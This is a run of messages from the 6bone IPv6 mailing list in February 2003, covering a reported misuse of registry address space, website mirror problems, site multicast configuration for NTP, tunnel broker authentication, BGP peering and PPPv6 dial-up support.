% > region, and the generation of the e.f.f.3.ip6.arpa zone can be entirely 
% > automated using zone merging.
% 
% 
% Greets,
%  Christian
% 
% ------------------------------------------
% TDOI Network | www.tdoi.org | noc@tdoi.org
% 
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From anurag.mandhar@estelcom.com Sat Feb  8 23:05:21 2003
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Hi,
Can we connect to 6bone using sTLA address space.

Anurag
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<DIV><FONT face=3DArial size=3D2>Can we connect to 6bone using sTLA =
address=20
space.</FONT></DIV>
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From nicolas.deffayet@ndsoftware.net Sun Feb  9 06:11:36 2003
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Subject: Re: [6bone] connection to 6 bone
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Sun, 2003-02-09 at 08:07, Anurag Singh wrote:
Hi Anurag,

> Can we connect to 6bone using sTLA address space.

Yes, 6bone is not a independent network.

In your routing table you have pTLA and sTLA.


-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From nicolas.deffayet@ndsoftware.net Sun Feb  9 07:07:01 2003
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Subject: [6bone] 3FFE:4016::/32 - Another pTLA space hijack
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Bob,

I have discover another pTLA space hijack:

--------------------------------------------------------------------->
Sun Feb  9 16:00:55 CET 2003

% RIPEdb(3.0.0b2) with ISI RPSL extensions

inet6num:     3FFE:4016::/32
netname:      KSC-TH
descr:        KSC Commercial Internet - sub-pTLA delegation for the
6bone testbed
country:      TH
admin-c:      JT183-AP
tech-c:       TO94-ORG
mnt-by:       MNT-KSC
changed:      netadmin@ksc.net 20030206
source:       6BONE

ipv6-site:    KSC-TH
origin:       AS7693
descr:        KSC Commercial Internet - IPv6 site
country:      TH
prefix:       3FFE:4016::/32
contact:      TO94-ORG
mnt-by:       MNT-KSC
changed:      netadmin@ksc.net 20030206
source:       6BONE

person:       Joost Th.A Doevelaar
address:      KSC Commercial Internet Co.,Ltd.
address:      2/4 Samaggi Insurance Tower 10th Fl., Viphavadee-Rangsit
Rd.,
address:      Thungsonghong, Laksi
address:      Bangkok 10210
phone:        +66-2-9797777
nic-hdl:      JT183-AP
mnt-by:       MNT-KSC
changed:      netadmin@ksc.net 20030205
changed:      netadmin@ksc.net 20030206
source:       6BONE
--------------------------------------------------------------------->

3FFE:4016::/32 is not announced:

route-server.ndsoftwarenet.net> show ipv6 bgp 3FFE:4016::/32
% Network not in table
route-server.ndsoftwarenet.net>


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From nicolas.deffayet@ndsoftware.net Sun Feb  9 07:20:55 2003
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Subject: [6bone] pTLA list: 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA missing
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Bob,

Why 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA are not in "pseudo
TLA (backbone site) List" <http://www.6bone.net/6bone_pTLA_list.html> ?

currently 3FFE:4014::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED

=> must be 3FFE:4016::/32 through 3FFE:7FFF::/32


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


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Nicolas DEFFAYET wrote:

> Bob,
> 
> Why 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA are not 
> in "pseudo
> TLA (backbone site) List" 
> <http://www.6bone.net/6bone_pTLA_list.html> ?
> 
> currently 
> 3FFE:4014::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
> 
> => must be 3FFE:4016::/32 through 3FFE:7FFF::/32

The IPv6 mirror of www.6bone.net is out of date like most of the time...
Check The IPv4 version, which gets automatically proxied
from IPv4 to IPv6 at http://www.6bone.net.sixxs.org/6bone_pTLA_list.html

Cut & Paste:
8<-----------------------
LOXINFO-TH/TH         3FFE:4014::/32 [21Jan03]
HP/US                 3FFE:4015::/32 [22Jan03
currently 3FFE:4016::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
----------------------->8

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sun Feb  9 11:31:36 2003
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Subject: RE: [6bone] pTLA list: 3FFE:4014::/32 and 3FFE:4015::/32 allocated
	pTLA missing
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: bob@thefinks.com, 6bone@mailman.isi.edu
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On Sun, 2003-02-09 at 18:40, Jeroen Massar wrote:
> Nicolas DEFFAYET wrote:
> 
> > Bob,
> > 
> > Why 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA are not 
> > in "pseudo
> > TLA (backbone site) List" 
> > <http://www.6bone.net/6bone_pTLA_list.html> ?
> > 
> > currently 
> > 3FFE:4014::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
> > 
> > => must be 3FFE:4016::/32 through 3FFE:7FFF::/32
> 
> The IPv6 mirror of www.6bone.net is out of date like most of the time...
> Check The IPv4 version, which gets automatically proxied
> from IPv4 to IPv6 at http://www.6bone.net.sixxs.org/6bone_pTLA_list.html
> 
> Cut & Paste:
> 8<-----------------------
> LOXINFO-TH/TH         3FFE:4014::/32 [21Jan03]
> HP/US                 3FFE:4015::/32 [22Jan03
> currently 3FFE:4016::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
> ----------------------->8

I see 3 possibilities:

- fix the current IPv6 mirror
- change IPv6 mirror provider (NDSoftware can host this mirror)
- remove AAAA record of www.6bone.net

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


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From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] pTLA list: 3FFE:4014::/32 and 3FFE:4015::/32
  allocated pTLA missing
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At 08:31 PM 2/9/2003 +0100, Nicolas DEFFAYET wrote:
>On Sun, 2003-02-09 at 18:40, Jeroen Massar wrote:
> > Nicolas DEFFAYET wrote:
> >
> > > Bob,
> > >
> > > Why 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA are not
> > > in "pseudo
> > > TLA (backbone site) List"
> > > <http://www.6bone.net/6bone_pTLA_list.html> ?
> > >
> > > currently
> > > 3FFE:4014::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
> > >
> > > => must be 3FFE:4016::/32 through 3FFE:7FFF::/32
> >
> > The IPv6 mirror of www.6bone.net is out of date like most of the time...
> > Check The IPv4 version, which gets automatically proxied
> > from IPv4 to IPv6 at http://www.6bone.net.sixxs.org/6bone_pTLA_list.html
> >
> > Cut & Paste:
> > 8<-----------------------
> > LOXINFO-TH/TH         3FFE:4014::/32 [21Jan03]
> > HP/US                 3FFE:4015::/32 [22Jan03
> > currently 3FFE:4016::/32 through 3FFE:7FFF::/32 UNALLOCATED and UNUSED
> > ----------------------->8
>
>I see 3 possibilities:
>
>- fix the current IPv6 mirror
>- change IPv6 mirror provider (NDSoftware can host this mirror)
>- remove AAAA record of www.6bone.net

I have been working with Marc Blanchet to merge the v4 and v6 6bone web 
server so this won't be a problem.

Stay tuned.


Bob 


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Subject: [6bone] Re: 3FFE:4016::/32 - Another pTLA space hijack
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Nicolas,

I'll take care of it.


Thanks,

Bob

===
At 04:06 PM 2/9/2003 +0100, Nicolas DEFFAYET wrote:
>Bob,
>
>I have discover another pTLA space hijack:
>
>--------------------------------------------------------------------->
>Sun Feb  9 16:00:55 CET 2003
>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>inet6num:     3FFE:4016::/32
>netname:      KSC-TH
>descr:        KSC Commercial Internet - sub-pTLA delegation for the
>6bone testbed
>country:      TH
>admin-c:      JT183-AP
>tech-c:       TO94-ORG
>mnt-by:       MNT-KSC
>changed:      netadmin@ksc.net 20030206
>source:       6BONE
>
>ipv6-site:    KSC-TH
>origin:       AS7693
>descr:        KSC Commercial Internet - IPv6 site
>country:      TH
>prefix:       3FFE:4016::/32
>contact:      TO94-ORG
>mnt-by:       MNT-KSC
>changed:      netadmin@ksc.net 20030206
>source:       6BONE
>
>person:       Joost Th.A Doevelaar
>address:      KSC Commercial Internet Co.,Ltd.
>address:      2/4 Samaggi Insurance Tower 10th Fl., Viphavadee-Rangsit
>Rd.,
>address:      Thungsonghong, Laksi
>address:      Bangkok 10210
>phone:        +66-2-9797777
>nic-hdl:      JT183-AP
>mnt-by:       MNT-KSC
>changed:      netadmin@ksc.net 20030205
>changed:      netadmin@ksc.net 20030206
>source:       6BONE
>--------------------------------------------------------------------->
>
>3FFE:4016::/32 is not announced:
>
>route-server.ndsoftwarenet.net> show ipv6 bgp 3FFE:4016::/32
>% Network not in table
>route-server.ndsoftwarenet.net>
>
>
>Best Regards,
>
>--
>Nicolas DEFFAYET, NDSoftware
>NDSoftware NOC: http://noc.ndsoftwarenet.com/
>FNIX6: http://www.fnix6.net/
>EuroNOG: http://www.euronog.org/


From rvdp@rvdp.org Mon Feb 10 00:51:39 2003
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Jeroen Massar <jeroen@unfix.org>, bob@thefinks.com, 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA list: 3FFE:4014::/32 and 3FFE:4015::/32 allocated pTLA missing
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On Sun, Feb 09, 2003 at 20:31:21 +0100, Nicolas DEFFAYET wrote:

> On Sun, 2003-02-09 at 18:40, Jeroen Massar wrote:

<snip>

> > The IPv6 mirror of www.6bone.net is out of date like most of the time...

Yes, this is really annoying.

<snip>

> I see 3 possibilities:
> 
> - fix the current IPv6 mirror
> - change IPv6 mirror provider (NDSoftware can host this mirror)
> - remove AAAA record of www.6bone.net

Or 4:
- the proper way: make the server dual stack. Bob is working on this.
Any updates, Bob?

	rvdp

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Subject: Re: [6bone] pTLA list: 3FFE:4014::/32 and 3FFE:4015::/32
  allocated pTLA missing
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Ronald,

At 09:51 AM 2/10/2003 +0100, Ronald van der Pol wrote:
>On Sun, Feb 09, 2003 at 20:31:21 +0100, Nicolas DEFFAYET wrote:
>
> > On Sun, 2003-02-09 at 18:40, Jeroen Massar wrote:
>
><snip>
>
> > > The IPv6 mirror of www.6bone.net is out of date like most of the time...
>
>Yes, this is really annoying.
>
><snip>
>
> > I see 3 possibilities:
> >
> > - fix the current IPv6 mirror
> > - change IPv6 mirror provider (NDSoftware can host this mirror)
> > - remove AAAA record of www.6bone.net
>
>Or 4:
>- the proper way: make the server dual stack. Bob is working on this.
>Any updates, Bob?

Marc says it will real soon now.


Bob 


From basit@basit.cc Fri Feb 14 15:43:55 2003
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From: Abdul Basit <basit@basit.cc>
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Subject: [6bone] pim6sd crash
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Hey,

 on freebsd 5.0-Release, pim6sd crashes if i execute
ifconfig gifX destroy if it is running in background,
i need to restart it manually.

 pim6sd display 'check_vif_state' Device not configured
and exits. any workaround ?

 - basit




From basit@basit.cc Fri Feb 14 16:56:32 2003
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From: Abdul Basit <basit@basit.cc>
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Subject: [6bone] another tb
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hey,

 a new interface to tunnel clients needs to be tested
at NGC(NextGenCollective), if someone wants to get a tunnel
please look http://www.stcp.nextgencollective.net


thanks
- basit

From cfaber@fpsn.net Fri Feb 14 23:57:01 2003
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Date: Sat, 15 Feb 2003 00:56:31 -0700
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Organization: fpsn.net, Inc.
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Off topic from the protocol it self. A VERY useful feature of your web
site may be to offer up the end point IP(s) so that a given client
could see if it's even worth the time to beta.


Abdul Basit wrote:
> 
> hey,
> 
>  a new interface to tunnel clients needs to be tested
> at NGC(NextGenCollective), if someone wants to get a tunnel
> please look http://www.stcp.nextgencollective.net
> 
> thanks
> - basit
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.
* Black holes are where God divided by zero. *

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From jeroen@unfix.org Sun Feb 16 05:49:34 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Abdul Basit'" <basit@basit.cc>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] another tb
Date: Sun, 16 Feb 2003 14:49:33 +0100
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Abdul Basit wrote:

> hey,
> 
>  a new interface to tunnel clients needs to be tested
> at NGC(NextGenCollective), if someone wants to get a tunnel
> please look http://www.stcp.nextgencollective.net
> 

You might be interrested in:

http://www.ietf.org/internet-drafts/draft-vg-ngtrans-tsp-01.txt
http://www.ietf.org/internet-drafts/draft-vg-ngtrans-tsp-v6v4profile-01.
txt

Which uses a defined XML scheme and allows multiple prefixes to be
assigned to the requester. You will find many common things with your
setup.
Also the above drafts are already succesfully being used by Freenet6 and
they have a number of publicly available clients, see
http://www.freenet6.net.

Also you should use a challenge/response with your MD5 authentication.
Or if you did use it define where you define the challenge/response.
Your current setup is suspect to sniffing and then simply sending
the same signature again. And I am not even talking about replays ;)

Greets,
 Jeroen


From basit@basit.cc Sun Feb 16 10:51:01 2003
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right, currently i use simple text, i will
switch to md5 soon.

thanks :)

-- basit


On Sun, 16 Feb 2003, Jeroen Massar wrote:

> Abdul Basit wrote:
>
> > hey,
> >
> >  a new interface to tunnel clients needs to be tested
> > at NGC(NextGenCollective), if someone wants to get a tunnel
> > please look http://www.stcp.nextgencollective.net
> >
>
> You might be interrested in:
>
> http://www.ietf.org/internet-drafts/draft-vg-ngtrans-tsp-01.txt
> http://www.ietf.org/internet-drafts/draft-vg-ngtrans-tsp-v6v4profile-01.
> txt
>
> Which uses a defined XML scheme and allows multiple prefixes to be
> assigned to the requester. You will find many common things with your
> setup.
> Also the above drafts are already succesfully being used by Freenet6 and
> they have a number of publicly available clients, see
> http://www.freenet6.net.
>
> Also you should use a challenge/response with your MD5 authentication.
> Or if you did use it define where you define the challenge/response.
> Your current setup is suspect to sniffing and then simply sending
> the same signature again. And I am not even talking about replays ;)
>
> Greets,
>  Jeroen
>
>

From hari@UDel.Edu Sun Feb 16 12:45:00 2003
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From: Harish Nair <hari@UDel.Edu>
To: 6bone@mailman.isi.edu
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Subject: [6bone] IPv6 Site Multicast
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Hi,

I have a question about IPv6 site Multicasting. Our IPv6 network here is
composed of two subnets. Subnet 1 has prefix 3ffe:b80:17d2:1 and subnet 2
has prefix 3ffe:b80:17d2:2. Each subnet has a FreeBSD Router in its
domain. The two FreeBSD routers are "IPv6" connected using gif tunnels
using the existing IPv4 routing framework. The router in subnet 1 is
connected to freenet6 (through another gif tunnel.

Router 1
--------

gif0: flags=8251<UP,POINTOPOINT,RUNNING,ALLMULTI,MULTICAST> mtu 1280
        inet6 fe80::260:8ff:fe11:d903%gif0  prefixlen 64
        physical address inet 128.4.1.3 --> 128.4.2.16
gif1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
        inet6 fe80::260:8ff:fe11:d903%gif1  prefixlen 64
        inet6 3ffe:b80:3:197b::2 --> 3ffe:b80:3:197b::1  prefixlen 128
        physical address inet 128.4.1.3 --> 206.123.31.114


Router 2
--------
gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
        inet6 fe80::250:daff:fedd:5333%gif0  prefixlen 64
        physical address inet 128.4.2.16 --> 128.4.1.3

Our requirement is to set up NTP multicast servers at our site (subnet1
and subnet2). The NTP IPv6 site multicast address is ff05::101. An NTP
packet sent to this address (or any address starting with ff05::) from any
machine on subnet1 or subnet2 should be received by all machnies on both
subnets. The router on subnet 1 should drop all ff05 packets received from
freenet6 and should not route any ff05 poackets over to freenet6.

I would aprreciate any help in this regard...

Thanks,
Harish


From admin@euroshells.dk Mon Feb 17 14:10:48 2003
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Subject: [6bone] IPv6 bgp4+ peering
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Hey hey! :-)

Been watching the list for quite some time now, anyway :-)

Currently we have a ipv6 tunnel configured trough our local ISP but we =
would like try out zebra and do some ipv6 bgp4+ peering.
We do not have our own ASN number.

How do we proceed on this?
Any pointeres to where we could find a FAQ/HOWTO and possibly who we =
could peer with?

Best Regards

Rasmus Haslund
System Administrator
EuroShells.dk

Phone: +45 86 19 19 34
Direct: +45 26 - 80 60 13
E-mail: admin@euroshells.dk
Web: http://www.shellhost.dk
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1141" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Hey hey! :-)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Been watching the list for quite some =
time now,=20
anyway :-)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Currently we have a ipv6 tunnel =
configured trough=20
our local ISP but we would like try out zebra and do some ipv6 bgp4+=20
peering.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>We do not have our own ASN =
number.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>How do we proceed on this?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Any pointeres to where we could find a =
FAQ/HOWTO=20
and possibly who we could peer with?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best Regards</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Rasmus Haslund<BR>System=20
Administrator<BR>EuroShells.dk</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Phone: +45 86 19 19 34<BR>Direct: +45 =
26 - 80 60=20
13<BR>E-mail: <A=20
href=3D"mailto:admin@euroshells.dk">admin@euroshells.dk</A><BR>Web: <A=20
href=3D"http://www.shellhost.dk">http://www.shellhost.dk</A></FONT></DIV>=
</FONT></DIV></BODY></HTML>

------=_NextPart_000_01AD_01C2D6D9.D0E5BEC0--


From kni501ss@optushome.com.au Tue Feb 18 01:10:08 2003
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Date: Tue, 18 Feb 2003 19:10:00 +1000
From: Marco Grigull <kni501ss@optushome.com.au>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 Mini-Conference Update
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On Thu, 26 Dec 2002 13:08:42 +0800
"Gav" <old_mc_donald@hotmail.com> wrote:


> 
> I wonder if maybe there would be a summary of events and lectures posted to
> your web site some time after the event.?
> 

How was the conference? 

Cheers
Marco

From old_mc_donald@hotmail.com Tue Feb 18 06:23:44 2003
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Subject: Re: [6bone] IPv6 Mini-Conference Update
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Hi Marco,

Sorry but I didn't make it there.

I will try and find out if docs are available.

Gav...

----- Original Message -----
From: "Marco Grigull" <kni501ss@optushome.com.au>
To: <6bone@mailman.isi.edu>
Sent: Tuesday, February 18, 2003 5:10 PM
Subject: Re: [6bone] IPv6 Mini-Conference Update


| On Thu, 26 Dec 2002 13:08:42 +0800
| "Gav" <old_mc_donald@hotmail.com> wrote:
|
|
| >
| > I wonder if maybe there would be a summary of events and lectures posted
to
| > your web site some time after the event.?
| >
|
| How was the conference?
|
| Cheers
| Marco
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From jhay@zibbi.icomtek.csir.co.za Tue Feb 18 07:51:53 2003
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Date: Tue, 18 Feb 2003 17:51:43 +0200
From: John Hay <jhay@icomtek.csir.co.za>
To: Harish Nair <hari@UDel.Edu>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 Site Multicast
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On Sun, Feb 16, 2003 at 03:44:59PM -0500, Harish Nair wrote:
> 
> Hi,
> 
> I have a question about IPv6 site Multicasting. Our IPv6 network here is
> composed of two subnets. Subnet 1 has prefix 3ffe:b80:17d2:1 and subnet 2
> has prefix 3ffe:b80:17d2:2. Each subnet has a FreeBSD Router in its
> domain. The two FreeBSD routers are "IPv6" connected using gif tunnels
> using the existing IPv4 routing framework. The router in subnet 1 is
> connected to freenet6 (through another gif tunnel.
> 
> Router 1
> --------
> 
> gif0: flags=8251<UP,POINTOPOINT,RUNNING,ALLMULTI,MULTICAST> mtu 1280
>         inet6 fe80::260:8ff:fe11:d903%gif0  prefixlen 64
>         physical address inet 128.4.1.3 --> 128.4.2.16
> gif1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
>         inet6 fe80::260:8ff:fe11:d903%gif1  prefixlen 64
>         inet6 3ffe:b80:3:197b::2 --> 3ffe:b80:3:197b::1  prefixlen 128
>         physical address inet 128.4.1.3 --> 206.123.31.114
> 
> 
> Router 2
> --------
> gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
>         inet6 fe80::250:daff:fedd:5333%gif0  prefixlen 64
>         physical address inet 128.4.2.16 --> 128.4.1.3
> 
> Our requirement is to set up NTP multicast servers at our site (subnet1
> and subnet2). The NTP IPv6 site multicast address is ff05::101. An NTP
> packet sent to this address (or any address starting with ff05::) from any
> machine on subnet1 or subnet2 should be received by all machnies on both
> subnets. The router on subnet 1 should drop all ff05 packets received from
> freenet6 and should not route any ff05 poackets over to freenet6.
> 
> I would aprreciate any help in this regard...

I use pim6dd from ports and in /usr/local/etc/pim6dd.conf I have
phyint stf0 disable
phyint gif0 disable
phyint gif2 disable

A few other odds and ends. You will need "options MROUTING" in your
kernel. Multicasting also seems to work better if there is a specific
route for it in the kernel. I use this in my /etc/rc.conf file, adjust
fxp0 to what you have locally:

ipv6_static_routes="sitemcast"
ipv6_route_sitemcast="ff05:: -prefixlen 16 ::1 -ifp fxp0"

And yes I did all this just for ntp. :-)

John
-- 
John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org

From wildfire@progsoc.uts.edu.au Tue Feb 18 08:53:12 2003
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To: Marco Grigull <kni501ss@optushome.com.au>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 Mini-Conference Update
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References: <5.1.0.14.0.20021224131839.01b43400@mail.iprimus.com.au> <OE21Y4pbaubHeVnzCW80000491f@hotmail.com> <20030218191000.4899b21b.kni501ss@optushome.com.au>
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From: Anand Kumria <wildfire@progsoc.uts.edu.au>
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On Tue, Feb 18, 2003 at 07:10:00PM +1000, Marco Grigull wrote:
> On Thu, 26 Dec 2002 13:08:42 +0800
> "Gav" <old_mc_donald@hotmail.com> wrote:
> 
> 
> > 
> > I wonder if maybe there would be a summary of events and lectures posted to
> > your web site some time after the event.?
> > 
> 
> How was the conference? 

Pretty good, about 400 people attended in all. The IPv6 mini-conf was
held two prior to the actual conference so there were only about 150
people around on the first day.

Abuot 30 of them spent that day in the IPv6 sessions. A CD is in
preparation - it will be sent to those who attended and it'll be
available for download for those who weren't able to make it.

I don't have a more exact date apart from "shortly" at the moment but
I'd expect something to happen in the next 2 - 3 weeks.

Regards,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From bob@thefinks.com Tue Feb 18 12:49:19 2003
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Subject: [6bone] curious indirect effect of the 6bone registry
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6bone Folk,

For your info, and possible amusement, I have deleted the inet6num for 
2002::/16 from the 6bone registry.

It is becoming common for a less experienced person to have a problem with 
their IPv6 connection of some kind, look at either their own source or 
remote ipv6 address and see the "6to4" address, and not understand what it 
is all about. Then they look in the 6bone registry for the entire /128 2002 
address and (previously) found my courtesy entry for 2002::/16. From there 
they send me email as they believe I own the 2002 space. Sometimes it is 
even a complaint that I am causing them troubles :-)

I think it is simpler to not list the 2002 prefix in the 6bone registry (it 
was just for info anyway).


Bob


From trent@irc-desk.net Tue Feb 18 16:22:48 2003
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Date: Wed, 19 Feb 2003 08:22:34 +0800
To: 6bone@mailman.isi.edu
From: Trent Lloyd <trent@irc-desk.net>
Subject: Re: [6bone] IPv6 Mini-Conference Update
In-Reply-To: <20030218191000.4899b21b.kni501ss@optushome.com.au>
References: <OE21Y4pbaubHeVnzCW80000491f@hotmail.com>
 <5.1.0.14.0.20021224131839.01b43400@mail.iprimus.com.au>
 <OE21Y4pbaubHeVnzCW80000491f@hotmail.com>
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Hey yeh it was great had about 20-30 people come or so
And about 100 saw my talk at the Debian Mini-Conference on IPv6 in genereal

My website is still offline due to issues when upgrading my server etc but 
i hope to run another one at next years linux.conf.au

The slides etc will be available soon

At 07:10 PM 18/02/2003 +1000, you wrote:
>On Thu, 26 Dec 2002 13:08:42 +0800
>"Gav" <old_mc_donald@hotmail.com> wrote:
>
>
> >
> > I wonder if maybe there would be a summary of events and lectures posted to
> > your web site some time after the event.?
> >
>
>How was the conference?
>
>Cheers
>Marco
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From trent@irc-desk.net Tue Feb 18 16:27:31 2003
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To: 6BONE List <6bone@mailman.isi.edu>, Bob Fink <bob@thefinks.com>
From: Trent Lloyd <trent@irc-desk.net>
Subject: Re: [6bone] curious indirect effect of the 6bone registry
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perhaps an entry without a real email or something commenting "This is the 
reserved 6to4 address space for hosts to use their ipv4 as a blah balh 
bnlahkdqwdq"


At 12:48 PM 18/02/2003 -0800, you wrote:
>6bone Folk,
>
>For your info, and possible amusement, I have deleted the inet6num for 
>2002::/16 from the 6bone registry.
>
>It is becoming common for a less experienced person to have a problem with 
>their IPv6 connection of some kind, look at either their own source or 
>remote ipv6 address and see the "6to4" address, and not understand what it 
>is all about. Then they look in the 6bone registry for the entire /128 
>2002 address and (previously) found my courtesy entry for 2002::/16. From 
>there they send me email as they believe I own the 2002 space. Sometimes 
>it is even a complaint that I am causing them troubles :-)
>
>I think it is simpler to not list the 2002 prefix in the 6bone registry 
>(it was just for info anyway).
>
>
>Bob
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From bob@thefinks.com Tue Feb 18 18:59:19 2003
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] curious indirect effect of the 6bone registry
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Trent,

At 08:27 AM 2/19/2003 +0800, Trent Lloyd wrote:
>perhaps an entry without a real email or something commenting "This is the 
>reserved 6to4 address space for hosts to use their ipv4 as a blah balh 
>bnlahkdqwdq"

Useful idea. I'll think on it.


Thanks,

Bob 


From stephan@telstra.net Tue Feb 18 21:37:54 2003
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From: Stephan Millet <stephan@telstra.net>
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Date: Wed, 19 Feb 2003 16:37:45 +1100
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Subject: [6bone] Dial-up over v6
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Has anyone had experience with configuring native v6 dialup with win2000/XP ?

There does no seem to be much documentation at microsoft (or what there is 
seems to be ethernet/tunnel specific)

I have downloaded the latest Microsoft IPv6 Tech Preview for 2000 and IPv6 
connectivity over Ethernet is not an issue.

I have configured a Cisco 5300 to allocate me an IPv6 address on dial in 
though "debug ppp neg" seems to show that the dial in client is rejecting 
ipv6 negotiations.
---
As1 LCP: I PROTREJ [Open] id 7 len 20 protocol IPV6CP 
(0x80570101000E010A02107BFFFE4D6E5E)
---

Any info would be greatly appreciated.

Regards

-- 
Stephan Millet

From stansley@microsoft.com Wed Feb 19 11:56:02 2003
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Subject: RE: [6bone] Dial-up over v6
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From: "Stewart Tansley" <stansley@microsoft.com>
To: "Stephan Millet" <stephan@telstra.net>
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Stephen -- there is no native PPPv6 support in Windows XP SP1, the
forthcoming Windows Server 2003, or, I believe, the very old Windows
2000 Technology Preview. Note the latter has not been developed for 3
years and there are no plans to touch it at this time.

PPPv6 support is being looked at for a future release. If you have a
business need for this rather than just experimental, we'd very much
welcome mail to our IPv6 products feedback alias at
ipv6-fb@microsoft.com to understand your requirements and timeframe.
Thanks,

Stewart Tansley
http://www.microsoft.com/ipv6/ 
http://www.microsoft.com/embedded/


-----Original Message-----
From: Stephan Millet [mailto:stephan@telstra.net] 
Sent: Tuesday, February 18, 2003 9:38 PM
To: 6BONE List

Has anyone had experience with configuring native v6 dialup with
win2000/XP ?

There does no seem to be much documentation at microsoft (or what there
is seems to be ethernet/tunnel specific)

I have downloaded the latest Microsoft IPv6 Tech Preview for 2000 and
IPv6 connectivity over Ethernet is not an issue.

I have configured a Cisco 5300 to allocate me an IPv6 address on dial in
though "debug ppp neg" seems to show that the dial in client is
rejecting
ipv6 negotiations.
---
As1 LCP: I PROTREJ [Open] id 7 len 20 protocol IPV6CP
(0x80570101000E010A02107BFFFE4D6E5E)
---

Any info would be greatly appreciated.

Regards

--
Stephan Millet
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

RE

From pim@ipng.nl Thu Feb 20 00:10:07 2003
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From: Pim van Pelt <pim@ipng.nl>
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Subject: [6bone] ip6.arpa ...
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Hallo.

I have seen that the ip6.arpa delegation is now in place, but the
e.f.f.3.ip6.arpa is not. Following a statement I picked up at RIPE44
in Amsterdam a month ago, I believe that the RIRs are held to keep
the nameservers in their control.

May I suggest opening up dot.ep.net for slave transfers from ns.ripe.net
so that RIPE may copy the zone nightly, rewrite all the ip6.int into ip6.arpa
and create a duplicate tree for e.f.f.3.ip6.arpa ?

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

